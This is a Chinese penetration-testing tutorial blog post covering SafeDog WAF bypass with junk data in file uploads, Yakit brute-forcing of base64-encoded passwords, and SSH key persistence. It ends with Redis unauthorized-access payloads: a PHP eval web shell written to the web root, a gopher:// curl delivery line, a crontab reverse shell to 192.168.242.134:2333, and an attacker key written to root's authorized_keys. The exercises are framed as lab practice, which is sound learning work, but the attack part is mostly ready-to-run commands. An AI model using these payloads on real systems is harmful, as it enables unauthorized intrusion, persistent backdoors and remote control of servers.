waf、yakit和ssh免密登录

WAF安全狗

脏数据适用于所有漏洞绕过waf,但是前提条件垃圾信息必须放在危险信息前,是不能打断原有数据包的结构,不能影响后端对数据包的解析。

以DVWA靶场文件上传为例

新建php文件

image-20231018171929267

上传文件被安全狗拦截

image-20231018172117852

使用bp抓包查看

image-20231018172314404

在数据包Content-Disposition字段中的form-data后添加分号,在分号后添加脏数据;如果不加分号添加脏数据可能会打乱原有数据包的结构。文件上传成功。

image-20231018172943017

YAKIT

暴力破解

账户密码明文传输

客户防护:base64编码,加密。

前端base64编码加密,后端base64编码解密

抓包抓到的是编码以后的数据包,进行账密爆破时,密码字典也需要进行编码才能进行爆破。

新建x.php文档

<?php 

$a=base64_decode($_GET['passwd']);

if($a=="admin"){
	echo "welcom";
}else{
	echo "error";
}

?>

端口设置

点击MITM

image-20231018175722575

image-20231018175926301

image-20231018182845097

更改浏览器代理

image-20231018184713485

使用yt代理访问x.php页面

image-20231018185229093

在历史中右击数据包选择WEB FUZZER,

image-20231018185744145

选择admin右键,插入模糊字典标签,选择user top10。

image-20231018190014794

image-20231018190049796

image-20231018190224153

响应结果一致是因为后端做了base64解码,字典中内容是铭文的,被编码后后端不认识,要在使用的字典前添加base64编码。

image-20231018190500054

{{base64({{x(user_top10)}})}},爆破出密码为admin

image-20231018190725353

image-20231018190858203

之后使用抓包查看数据包时,如果流量内容是base64编码的就使用yakit爆破。yakit中也有dnslog,在测试响应的时候可以使用yakit自带的dnslog进行测试。

image-20231018191402483

image-20231018191441420

SSH免密登录

Linux服务器一定开放ssh端口。

ssh采用非对称加密,存在公钥私钥

将自己的公钥写入受害者的ssh目录中的时候,登录受害者ssh就可以不使用密码。

以kali主机为失陷主机为例

首先开启ssh服务

ss -antpl
systemctl start ssh.service
ss -antpl
pwd		#家目录的路径

image-20231018192334617

image-20231018192909440

登录kali主机的用户家目录下有.ssh目录,其中有已通过认证的ssh密钥,我们的公钥就可以写入.ssh目录中。

注意:在没有登陆过ssh的时候需要触发以下的登录才会出现.ssh目录。

ssh kali@127.0.0.1

进入.ssh目录,看到里面的已通过认证的主机的公钥

模拟命令执行写入公钥

在windows中安装Git,安装完成后Windows就可以使用ssh客户端。

写入公钥可以通过一句话木马或代码执行或redis写入公钥

找到用户目录,在目录中右击看到有一个Git Bash Here点击进入命令执行界面

ssh-keygen -t rsa

image-20231018194202261

执行成功后出现.ssh目录

image-20231018194244523

进入.ssh目录可以看到有两个文件,id_rsa.pub就是公钥。

image-20231018194354820

查看公钥内容

image-20231018194507557

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcFgp7y4ZigaHArZlRjLHJ+hhBbFf1Q3HeuLly5HoUoSaXUUF6V7/dT57XQqJgqAnnAjc3LOvm9CzGAokKYR51Tony46RrpxSG8PlGpQhGsiU0JI9VWuPXMzzPFaK/1gfsctGIaihNh3Fosx7VKcqLn5sBRl6+FjqfqUtcbYAjHNkAnvb5bGBsb/+9XpUAvk1t3aHjvAz9oiGSl6L4PRi7E2mcramR4QnkWd/63KzaI38rsgnYbzFSiDfN0VxsKmS0jvjw92sBL1N9WaMyouNQWHTkdZKNSgWpakUayLpIc+Gx4vepaCNh/WV+07mVh39L6FnOt7bkCVEmyLoWaMzVRc3x6prDoWFnuRwB2C+yRctwD4tX+6AZ0QODOYFyraP1MDYcaDFm1rPhvNwX0Xhq+jfiZshQDU4iq1veVDBjHcmpsJOQ8YoiCRfLgQ0c31oCCX+FH+bpcF65LQxPsIbISryjp4tZolgmtNFvsE/cLzz87gcIS7cUnOSirGu33ok= zs@DESKTOP-6DBQCEP

在.ssh目录中输入

vim authorized_keys

将公钥复制进去

image-20231018195105342

image-20231018195051783

image-20231018195130415

在Windows中的Git命令行中输入

ssh root@192.168.16.132

image-20231018195446366

image-20231018195521308

redis未授权写公钥

redis未授权

    高性能:Redis 是基于内存存储的非关系型数据库,具有读写速度快,可以处理大量数据的特点,因此被企业广泛使用。
    简单易用:Redis 的 API 简单易用,支持多种数据结构的存储,如字符串、哈希、列表、集合和有序集合等。此外,Redis 还提供了丰富的操作命令,可快速实现各种数据操作。
    分布式缓存:Redis 的分布式缓存功能可以帮助企业快速构建高可用、高性能、高可扩展的缓存集群,在提高数据读写性能的同时,还可以实现数据的分片存储和负载均衡。
    持久化存储:Redis 支持持久化存储功能,可以将内存中的数据通过快照或日志记录的方式持久化到磁盘中,保证数据的安全性和可靠性。

安装redis

kali换源

vim /etc/apt/sources.list
#阿里云源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free

#更新索引文件
apt-get update

#更新软件包
apt-get upgrade

#安装redis
apt-get install redis-server
#启动
/usr/bin/redis-server

Gopher协议

支持发出GET、POST请求

gopher 协议可以在特定的端口上进行相关命令的执行

gopher://IP:port/_{TCP/IP data stream}

利用redis写文件

image-20231018213244945

redis-cli -h [ip]

这条命令是用来连接到 Redis 数据库的命令行界面(CLI)。其中的"-h [ip]"参数用于指定要连接的 Redis 服务器的 IP 地址。通过运行这个命令,你可以在命令行中与 Redis 数据库进行交互,执行各种操作,如设置键值对、获取值、删除键等。

写shell
aaa

set 1 "<?php eval($_POST[1]); ?>" 
config set dir /var/www/html/ 
config set dbfilename shell.php 
save

bbb

url编码
curl -v gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A

反弹shell
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.242.134/2333 0>&1\n\n\n\n" 
config set dir /etc 
config set dbfilename crontab 
save

redis写入ssh公钥

config set dir /root/.ssh/ 
config set dbfilename authorized_keys 
set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbC05xE4PBAEOdBbF4F6Eai//NjL6fAkWSyotaz7Xoc33QfbzxNXz/3iDvfQTD4PIjznc17+9C1TcjV4dyrYdaC0w2JxnsRmiECrfNlRVkkkx6l/jFV0WH5P7ziYATMtVRkuhCm3wbqG0q8w8UyW5FeqB2N17rHr+wxGctDmuPGNbObbvGSvGVe5S73Uw1WwI08n3oqTjoi2dSu/FuDwVyzCbQXqQfr/5832tchX2jYl+1KzDSCRENoacj8RiIxUOEwvzJRFeMQW5qlG6FWfdksKzXwSSJ2TmAOzcHPU4ymimH49SRpOihr5i2N/j9Ts7AdhFepFu7Jkpa/YlwvSu2nDprUaZC93wBOP9Typma56xyhb8ieOEU1QbOWr+tVcqc2ouUmwRO06tv2VqKERRRaGilgarhOOO7kigeVm7t9HUa+ncnP210WqeYwGbSck6nZmbYHVoGThLcavYy+t8Ue1MZPeQhzEqWPlJeHwrddsQY+a2F6XJ/UG6VUx2qUjE= xiu@xiu-PC" 
save 
quit


  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安咸鱼1517

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值